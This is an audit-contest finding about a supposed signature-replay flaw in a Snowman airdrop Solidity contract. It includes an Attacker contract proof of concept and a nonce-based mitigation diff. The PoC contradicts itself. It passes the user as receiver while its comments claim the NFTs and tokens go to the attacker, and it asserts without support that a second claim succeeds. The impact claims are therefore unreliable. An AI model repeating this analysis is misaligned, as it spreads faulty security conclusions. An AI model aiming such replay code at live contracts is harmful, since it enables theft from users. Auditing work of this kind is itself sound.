Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
Submission Details
Impact: high
Likelihood: high

Insecure ECDSA Signature Validation Allows Replay Attacks

Author Revealed upon completion

Root + Impact- The _isValidSignature function in SnowmanAirdrop.sol simply checks that the recovered signer equals the receiver. However, since the same signature is valid for multiple calls (no nonce or expiry), a malicious relayer or attacker can front-run or replay a claim multiple times.

Description

  • Normal Behavior: Signatures should be valid only once per user, or scoped to specific nonces or contexts to avoid replay.

  • Issue: This contract accepts any signature signed by the receiver with the correct hash, but doesn’t invalidate or differentiate them. If the receiver signs a message once, it can be reused by others or replayed in other scenarios, even if already claimed.

// Root cause in the codebase with @> marks to highlight the relevant section
function _isValidSignature(address receiver, bytes32 digest, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
@> (address actualSigner,,) = ECDSA.tryRecover(digest, v, r, s);
return actualSigner == receiver;
}

Risk

Likelihood:

  • Reason 1: The function allows repeated use of the same ECDSA signature since there’s no claim nonce, expiry, or uniqueness enforcement.

  • Reason 2: Anyone who sees a valid claim tx (e.g., from mempool or logs) can copy it and front-run the original transaction.

Impact:

  • Impact 1: Unauthorized third parties can claim on behalf of a user without permission.

  • Impact 2: Users may lose their Snow tokens and corresponding NFTs permanently without realizing the claim was stolen.

Proof of Concept- User signs a valid SnowmanClaim and shares it with a relayer (e.g., gasless claim service).

  • Attacker sees the signature in mempool or log.

  • Attacker front-runs with exact same calldata.

  • Claim goes to attacker, tokens are staked, NFTs minted.

// Assumptions:
// - `signature` is a valid ECDSA signature from the user over the expected digest
// - First claim succeeds; second (replay) claim also succeeds, even though it shouldn’t
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
SnowmanAirdrop airdrop;
address user;
bytes32 digest;
uint8 v;
bytes32 r;
bytes32 s;
constructor(address _airdrop, address _user, bytes32 _digest, uint8 _v, bytes32 _r, bytes32 _s) {
airdrop = SnowmanAirdrop(_airdrop);
user = _user;
digest = _digest;
v = _v;
r = _r;
s = _s;
}
function attackReplay() external {
// First replayed call
airdrop.claimSnowman(user, digest, v, r, s);
// Second replayed call (same calldata)
airdrop.claimSnowman(user, digest, v, r, s);
// Attacker now owns 2x NFT + staked Snow even though user signed once
}
}

Recommended Mitigation- Introduce a nonce per receiver that is included in the signed message, and invalidate the signature after one use.

- bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(address receiver, uint256 amount, uint256 nonce)");
+ mapping(address => uint256) private s_nonces;
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
uint256 amount = i_snow.balanceOf(receiver);
+ uint256 nonce = s_nonces[receiver];
- return _hashTypedDataV4(
- keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
- );
+ return _hashTypedDataV4(
+ keccak256(abi.encode(MESSAGE_TYPEHASH, receiver, amount, nonce))
+ );
}
function claimSnowman(...) external ... {
...
+ s_nonces[receiver]++;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.